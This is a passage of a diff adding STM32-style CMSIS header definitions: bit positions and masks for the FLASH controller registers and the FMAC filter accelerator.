FLASH_CR_SNB_5 (0x20UL << FLASH_CR_SNB_Pos) /*!< 0x00000800 */ +#define FLASH_CR_SNB_6 (0x40UL << FLASH_CR_SNB_Pos) /*!< 0x00001000 */ +#define FLASH_CR_MER_Pos (15U) +#define FLASH_CR_MER_Msk (0x1UL << FLASH_CR_MER_Pos) /*!< 0x00008000 */ +#define FLASH_CR_MER FLASH_CR_MER_Msk /*!< Mass erase */ +#define FLASH_CR_EOPIE_Pos (16U) +#define FLASH_CR_EOPIE_Msk (0x1UL << FLASH_CR_EOPIE_Pos) /*!< 0x00010000 */ +#define FLASH_CR_EOPIE FLASH_CR_EOPIE_Msk /*!< End-of-operation interrupt control bit */ +#define FLASH_CR_WRPERRIE_Pos (17U) +#define FLASH_CR_WRPERRIE_Msk (0x1UL << FLASH_CR_WRPERRIE_Pos) /*!< 0x00020000 */ +#define FLASH_CR_WRPERRIE FLASH_CR_WRPERRIE_Msk /*!< Write protection error interrupt enable bit */ +#define FLASH_CR_PGSERRIE_Pos (18U) +#define FLASH_CR_PGSERRIE_Msk (0x1UL << FLASH_CR_PGSERRIE_Pos) /*!< 0x00040000 */ +#define FLASH_CR_PGSERRIE FLASH_CR_PGSERRIE_Msk /*!< Programming sequence error interrupt enable bit */ +#define FLASH_CR_STRBERRIE_Pos (19U) +#define FLASH_CR_STRBERRIE_Msk (0x1UL << FLASH_CR_STRBERRIE_Pos) /*!< 0x00080000 */ +#define FLASH_CR_STRBERRIE FLASH_CR_STRBERRIE_Msk /*!< Strobe error interrupt enable bit */ +#define FLASH_CR_INCERRIE_Pos (20U) +#define FLASH_CR_INCERRIE_Msk (0x1UL << FLASH_CR_INCERRIE_Pos) /*!< 0x00100000 */ +#define FLASH_CR_INCERRIE FLASH_CR_INCERRIE_Msk /*!< Inconsistency error interrupt enable bit */ +#define FLASH_CR_OBKERRIE_Pos (21U) +#define FLASH_CR_OBKERRIE_Msk (0x1UL << FLASH_CR_OBKERRIE_Pos) /*!< 0x00200000 */ +#define FLASH_CR_OBKERRIE FLASH_CR_OBKERRIE_Msk /*!< OBK general error interrupt enable bitt */ +#define FLASH_CR_OBKWERRIE_Pos (22U) +#define FLASH_CR_OBKWERRIE_Msk (0x1UL << FLASH_CR_OBKWERRIE_Pos) /*!< 0x00400000 */ +#define FLASH_CR_OBKWERRIE FLASH_CR_OBKWERRIE_Msk /*!< OBK write error interrupt enable bit */ +#define FLASH_CR_OPTCHANGEERRIE_Pos (23U) +#define FLASH_CR_OPTCHANGEERRIE_Msk (0x1UL << FLASH_CR_OPTCHANGEERRIE_Pos) /*!< 0x00800000 */ +#define FLASH_CR_OPTCHANGEERRIE FLASH_CR_OPTCHANGEERRIE_Msk /*!< Option byte change error interrupt enable bit */ +#define FLASH_CR_INV_Pos (29U) +#define FLASH_CR_INV_Msk (0x1UL << FLASH_CR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_CR_INV FLASH_CR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_CR_BKSEL_Pos (31U) +#define FLASH_CR_BKSEL_Msk (0x1UL << FLASH_CR_BKSEL_Pos) /*!< 0x10000000 */ +#define FLASH_CR_BKSEL FLASH_CR_BKSEL_Msk /*!< Bank selector */ + +/******************* Bits definition for FLASH_CCR register *******************/ +#define FLASH_CCR_CLR_EOP_Pos (16U) +#define FLASH_CCR_CLR_EOP_Msk (0x1UL << FLASH_CCR_CLR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_CCR_CLR_EOP FLASH_CCR_CLR_EOP_Msk /*!< EOP flag clear bit */ +#define FLASH_CCR_CLR_WRPERR_Pos (17U) +#define FLASH_CCR_CLR_WRPERR_Msk (0x1UL << FLASH_CCR_CLR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_CCR_CLR_WRPERR FLASH_CCR_CLR_WRPERR_Msk /*!< WRPERR flag clear bit */ +#define FLASH_CCR_CLR_PGSERR_Pos (18U) +#define FLASH_CCR_CLR_PGSERR_Msk (0x1UL << FLASH_CCR_CLR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_CCR_CLR_PGSERR FLASH_CCR_CLR_PGSERR_Msk /*!< PGSERR flag clear bit */ +#define FLASH_CCR_CLR_STRBERR_Pos (19U) +#define FLASH_CCR_CLR_STRBERR_Msk (0x1UL << FLASH_CCR_CLR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_CCR_CLR_STRBERR FLASH_CCR_CLR_STRBERR_Msk /*!< STRBERR flag clear bit */ +#define FLASH_CCR_CLR_INCERR_Pos (20U) +#define FLASH_CCR_CLR_INCERR_Msk (0x1UL << FLASH_CCR_CLR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_CCR_CLR_INCERR FLASH_CCR_CLR_INCERR_Msk /*!< INCERR flag clear bit */ +#define FLASH_CCR_CLR_OBKERR_Pos (21U) +#define FLASH_CCR_CLR_OBKERR_Msk (0x1UL << FLASH_CCR_CLR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_CCR_CLR_OBKERR FLASH_CCR_CLR_OBKERR_Msk /*!< OBKERR flag clear bit */ +#define FLASH_CCR_CLR_OBKWERR_Pos (22U) +#define FLASH_CCR_CLR_OBKWERR_Msk (0x1UL << FLASH_CCR_CLR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_CCR_CLR_OBKWERR FLASH_CCR_CLR_OBKWERR_Msk /*!< OBKWERR flag clear bit */ +#define FLASH_CCR_CLR_OPTCHANGEERR_Pos (23U) +#define FLASH_CCR_CLR_OPTCHANGEERR_Msk (0x1UL << FLASH_CCR_CLR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_CCR_CLR_OPTCHANGEERR FLASH_CCR_CLR_OPTCHANGEERR_Msk /*!< Option byte change error clear bit */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0U) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1U) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/****************** Bits definition for FLASH_OBKCFGR register *****************/ +#define FLASH_OBKCFGR_LOCK_Pos (0U) +#define FLASH_OBKCFGR_LOCK_Msk (0x1UL << FLASH_OBKCFGR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OBKCFGR_LOCK FLASH_OBKCFGR_LOCK_Msk /*!< OBKCFGR lock */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Pos (1U) +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Msk (0x1UL << FLASH_OBKCFGR_SWAP_SECT_REQ_Pos) /*!< 0x00000002 */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ FLASH_OBKCFGR_SWAP_SECT_REQ_Msk /*!< OBK swap sector request */ +#define FLASH_OBKCFGR_ALT_SECT_Pos (2U) +#define FLASH_OBKCFGR_ALT_SECT_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_Pos) /*!< 0x00000004 */ +#define FLASH_OBKCFGR_ALT_SECT FLASH_OBKCFGR_ALT_SECT_Msk /*!< Alternate sector */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Pos (3U) +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_ERASE_Pos) /*!< 0x00000008 */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE FLASH_OBKCFGR_ALT_SECT_ERASE_Msk /*!< Alternate sector erase */ +#define FLASH_OBKCFGR_SWAP_OFFSET_Pos (16U) +#define FLASH_OBKCFGR_SWAP_OFFSET_Msk (0x1FFUL << FLASH_OBKCFGR_SWAP_OFFSET_Pos) /*!< 0x01FF0000 */ +#define FLASH_OBKCFGR_SWAP_OFFSET FLASH_OBKCFGR_SWAP_OFFSET_Msk /*!< Swap offset */ + +/****************** Bits definition for FLASH_HDPEXTR register *****************/ +#define FLASH_HDPEXTR_HDP1_EXT_Pos (0U) +#define FLASH_HDPEXTR_HDP1_EXT_Msk (0x7FUL << FLASH_HDPEXTR_HDP1_EXT_Pos) /*!< 0x0000007F */ +#define FLASH_HDPEXTR_HDP1_EXT FLASH_HDPEXTR_HDP1_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 1 */ +#define FLASH_HDPEXTR_HDP2_EXT_Pos (16U) +#define FLASH_HDPEXTR_HDP2_EXT_Msk (0x7FUL << FLASH_HDPEXTR_HDP2_EXT_Pos) /*!< 0x007F0000 */ +#define FLASH_HDPEXTR_HDP2_EXT FLASH_HDPEXTR_HDP2_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 2 */ + +/******************* Bits definition for FLASH_OPTSR register ***************/ +#define FLASH_OPTSR_BOR_LEV_Pos (0U) +#define FLASH_OPTSR_BOR_LEV_Msk (0x3UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000003 */ +#define FLASH_OPTSR_BOR_LEV FLASH_OPTSR_BOR_LEV_Msk /*!< Brownout level option bit */ +#define FLASH_OPTSR_BOR_LEV_0 (0x1UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000001 */ +#define FLASH_OPTSR_BOR_LEV_1 (0x2UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000002 */ +#define FLASH_OPTSR_BORH_EN_Pos (2U) +#define FLASH_OPTSR_BORH_EN_Msk (0x1UL << FLASH_OPTSR_BORH_EN_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR_BORH_EN FLASH_OPTSR_BORH_EN_Msk /*!< Brownout high enable configuration bit */ +#define FLASH_OPTSR_IWDG_SW_Pos (3U) +#define FLASH_OPTSR_IWDG_SW_Msk (0x1UL << FLASH_OPTSR_IWDG_SW_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR_IWDG_SW FLASH_OPTSR_IWDG_SW_Msk /*!< IWDG control mode option bit */ +#define FLASH_OPTSR_WWDG_SW_Pos (4U) +#define FLASH_OPTSR_WWDG_SW_Msk (0x1UL << FLASH_OPTSR_WWDG_SW_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR_WWDG_SW FLASH_OPTSR_WWDG_SW_Msk /*!< WWDG control mode option bit */ +#define FLASH_OPTSR_NRST_STOP_Pos (6U) +#define FLASH_OPTSR_NRST_STOP_Msk (0x1UL << FLASH_OPTSR_NRST_STOP_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR_NRST_STOP FLASH_OPTSR_NRST_STOP_Msk /*!< Stop mode entry reset option bit */ +#define FLASH_OPTSR_NRST_STDBY_Pos (7U) +#define FLASH_OPTSR_NRST_STDBY_Msk (0x1UL << FLASH_OPTSR_NRST_STDBY_Pos) /*!< 0x00000080 */ +#define FLASH_OPTSR_NRST_STDBY FLASH_OPTSR_NRST_STDBY_Msk /*!< Standby mode entry reset option bit */ +#define FLASH_OPTSR_PRODUCT_STATE_Pos (8U) +#define FLASH_OPTSR_PRODUCT_STATE_Msk (0xFFUL << FLASH_OPTSR_PRODUCT_STATE_Pos) /*!< 0x0000FF00 */ +#define FLASH_OPTSR_PRODUCT_STATE FLASH_OPTSR_PRODUCT_STATE_Msk /*!< Life state code option byte */ +#define FLASH_OPTSR_IO_VDD_HSLV_Pos (16U) +#define FLASH_OPTSR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDD_HSLV_Pos) /*!< 0x00010000 */ +#define FLASH_OPTSR_IO_VDD_HSLV FLASH_OPTSR_IO_VDD_HSLV_Msk /*!< VDD I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Pos (17U) +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDDIO2_HSLV_Pos) /*!< 0x00020000 */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV FLASH_OPTSR_IO_VDDIO2_HSLV_Msk /*!< VDDIO2 I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IWDG_STOP_Pos (20U) +#define FLASH_OPTSR_IWDG_STOP_Msk (0x1UL << FLASH_OPTSR_IWDG_STOP_Pos) /*!< 0x00100000 */ +#define FLASH_OPTSR_IWDG_STOP FLASH_OPTSR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTSR_IWDG_STDBY_Pos (21U) +#define FLASH_OPTSR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTSR_IWDG_STDBY_Pos) /*!< 0x00200000 */ +#define FLASH_OPTSR_IWDG_STDBY FLASH_OPTSR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTSR_BOOT_UBE_Pos (22U) +#define FLASH_OPTSR_BOOT_UBE_Msk (0xFFUL << FLASH_OPTSR_BOOT_UBE_Pos) /*!< 0x3FC00000 */ +#define FLASH_OPTSR_BOOT_UBE FLASH_OPTSR_BOOT_UBE_Msk /*!< Unique boot entry option byte */ +#define FLASH_OPTSR_SWAP_BANK_Pos (31U) +#define FLASH_OPTSR_SWAP_BANK_Msk (0x1UL << FLASH_OPTSR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTSR_SWAP_BANK FLASH_OPTSR_SWAP_BANK_Msk /*!< Bank swapping option bit */ + +/******************* Bits definition for FLASH_EPOCHR register ***************/ +#define FLASH_EPOCHR_EPOCH_Pos (0U) +#define FLASH_EPOCHR_EPOCH_Msk (0xFFFFFFUL << FLASH_EPOCHR_EPOCH_Pos) /*!< 0x00FFFFFF */ +#define FLASH_EPOCHR_EPOCH FLASH_EPOCHR_EPOCH_Msk /*!< EPOCH counter */ + +/******************* Bits definition for FLASH_OPTSR2 register ***************/ +#define FLASH_OPTSR2_SRAM1_3_RST_Pos (2U) +#define FLASH_OPTSR2_SRAM1_3_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM1_3_RST_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR2_SRAM1_3_RST FLASH_OPTSR2_SRAM1_3_RST_Msk /*!< SRAM1 and SRAM3 erased when a system reset occurs */ +#define FLASH_OPTSR2_SRAM2_RST_Pos (3U) +#define FLASH_OPTSR2_SRAM2_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM2_RST_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR2_SRAM2_RST FLASH_OPTSR2_SRAM2_RST_Msk /*!< SRAM2 erased when a system reset occurs*/ +#define FLASH_OPTSR2_BKPRAM_ECC_Pos (4U) +#define FLASH_OPTSR2_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTSR2_BKPRAM_ECC_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR2_BKPRAM_ECC FLASH_OPTSR2_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM3_ECC_Pos (5U) +#define FLASH_OPTSR2_SRAM3_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM3_ECC_Pos) /*!< 0x00000020 */ +#define FLASH_OPTSR2_SRAM3_ECC FLASH_OPTSR2_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM2_ECC_Pos (6U) +#define FLASH_OPTSR2_SRAM2_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM2_ECC_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR2_SRAM2_ECC FLASH_OPTSR2_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction disable */ +#define FLASH_OPTSR2_USBPD_DIS_Pos (8U) +#define FLASH_OPTSR2_USBPD_DIS_Msk (0x1UL << FLASH_OPTSR2_USBPD_DIS_Pos) /*!< 0x00000100 */ +#define FLASH_OPTSR2_USBPD_DIS FLASH_OPTSR2_USBPD_DIS_Msk /*!< USB power delivery configuration disable */ +#define FLASH_OPTSR2_TZEN_Pos (24U) +#define FLASH_OPTSR2_TZEN_Msk (0xFFUL << FLASH_OPTSR2_TZEN_Pos) /*!< 0xFF000000 */ +#define FLASH_OPTSR2_TZEN FLASH_OPTSR2_TZEN_Msk /*!< TrustZone enable */ + +/**************** Bits definition for FLASH_BOOTR register **********************/ +#define FLASH_BOOTR_BOOT_LOCK_Pos (0U) +#define FLASH_BOOTR_BOOT_LOCK_Msk (0xFFUL << FLASH_BOOTR_BOOT_LOCK_Pos) /*!< 0x000000FF */ +#define FLASH_BOOTR_BOOT_LOCK FLASH_BOOTR_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_BOOTR_BOOTADD_Pos (8U) +#define FLASH_BOOTR_BOOTADD_Msk (0xFFFFFFUL << FLASH_BOOTR_BOOTADD_Pos) /*!< 0xFFFFFF00 */ +#define FLASH_BOOTR_BOOTADD FLASH_BOOTR_BOOTADD_Msk /*!< Boot address */ + +/**************** Bits definition for FLASH_PRIVBBR register *******************/ +#define FLASH_PRIVBBR_PRIVBB_Pos (0U) +#define FLASH_PRIVBBR_PRIVBB_Msk (0xFFFFFFFFUL << FLASH_PRIVBBR_PRIVBB_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_PRIVBBR_PRIVBB FLASH_PRIVBBR_PRIVBB_Msk /*!< Privileged/unprivileged 8-Kbyte Flash sector attribute */ + +/***************** Bits definition for FLASH_SECWMR register ********************/ +#define FLASH_SECWMR_SECWM_STRT_Pos (0U) +#define FLASH_SECWMR_SECWM_STRT_Msk (0x7FUL << FLASH_SECWMR_SECWM_STRT_Pos) /*!< 0x0000007F */ +#define FLASH_SECWMR_SECWM_STRT FLASH_SECWMR_SECWM_STRT_Msk /*!< Start sector of secure area */ +#define FLASH_SECWMR_SECWM_END_Pos (16U) +#define FLASH_SECWMR_SECWM_END_Msk (0x7FUL << FLASH_SECWMR_SECWM_END_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWMR_SECWM_END FLASH_SECWMR_SECWM_END_Msk /*!< End sector of secure area */ + +/***************** Bits definition for FLASH_WRPR register *********************/ +#define FLASH_WRPR_WRPSG_Pos (0U) +#define FLASH_WRPR_WRPSG_Msk (0xFFFFFFFFUL << FLASH_WRPR_WRPSG_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_WRPR_WRPSG FLASH_WRPR_WRPSG_Msk /*!< Sector group protection option status */ + +/***************** Bits definition for FLASH_EDATA register ********************/ +#define FLASH_EDATAR_EDATA_STRT_Pos (0U) +#define FLASH_EDATAR_EDATA_STRT_Msk (0x7UL << FLASH_EDATAR_EDATA_STRT_Pos) /*!< 0x00000007 */ +#define FLASH_EDATAR_EDATA_STRT FLASH_EDATAR_EDATA_STRT_Msk /*!< Flash high-cycle data start sector */ +#define FLASH_EDATAR_EDATA_EN_Pos (15U) +#define FLASH_EDATAR_EDATA_EN_Msk (0x1UL << FLASH_EDATAR_EDATA_EN_Pos) /*!< 0x00008000 */ +#define FLASH_EDATAR_EDATA_EN FLASH_EDATAR_EDATA_EN_Msk /*!< Flash high-cycle data enable */ + +/***************** Bits definition for FLASH_HDPR register ********************/ +#define FLASH_HDPR_HDP_STRT_Pos (0U) +#define FLASH_HDPR_HDP_STRT_Msk (0x7FUL << FLASH_HDPR_HDP_STRT_Pos) /*!< 0x0000007F */ +#define FLASH_HDPR_HDP_STRT FLASH_HDPR_HDP_STRT_Msk /*!< Start sector of hide protection area */ +#define FLASH_HDPR_HDP_END_Pos (16U) +#define FLASH_HDPR_HDP_END_Msk (0x7FUL << FLASH_HDPR_HDP_END_Pos) /*!< 0x007F0000 */ +#define FLASH_HDPR_HDP_END FLASH_HDPR_HDP_END_Msk /*!< End sector of hide protection area */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0U) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_OBK_ECC_Pos (20U) +#define FLASH_ECCR_OBK_ECC_Msk (0x1UL << FLASH_ECCR_OBK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_OBK_ECC FLASH_ECCR_OBK_ECC_Msk /*!< Flash OB Keys storage area ECC fail */ +#define FLASH_ECCR_DATA_ECC_Pos (21U) +#define FLASH_ECCR_DATA_ECC_Msk (0x1UL << FLASH_ECCR_DATA_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_DATA_ECC FLASH_ECCR_DATA_ECC_Msk /*!< Flash high-cycle data ECC fail */ +#define FLASH_ECCR_BK_ECC_Pos (22U) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (23U) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_OTP_ECC_Pos (24U) +#define FLASH_ECCR_OTP_ECC_Msk (0x1UL << FLASH_ECCR_OTP_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_OTP_ECC FLASH_ECCR_OTP_ECC_Msk /*!< Flash OTP ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (25U) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x02000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30U) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31U) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_ECCDR register ***************/ +#define FLASH_ECCDR_FAIL_DATA_Pos (0U) +#define FLASH_ECCDR_FAIL_DATA_Msk (0xFFFFUL << FLASH_ECCDR_FAIL_DATA_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCDR_FAIL_DATA FLASH_ECCDR_FAIL_DATA_Msk /*!< ECC fail data */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0U) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8U) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24U) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0U) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8U) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0U) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8U) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24U) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0U) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8U) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16U) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24U) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31U) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0U) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1U) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2U) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3U) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4U) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8U) +#define FMAC_CR_DMAREN_Msk (0x1UL << 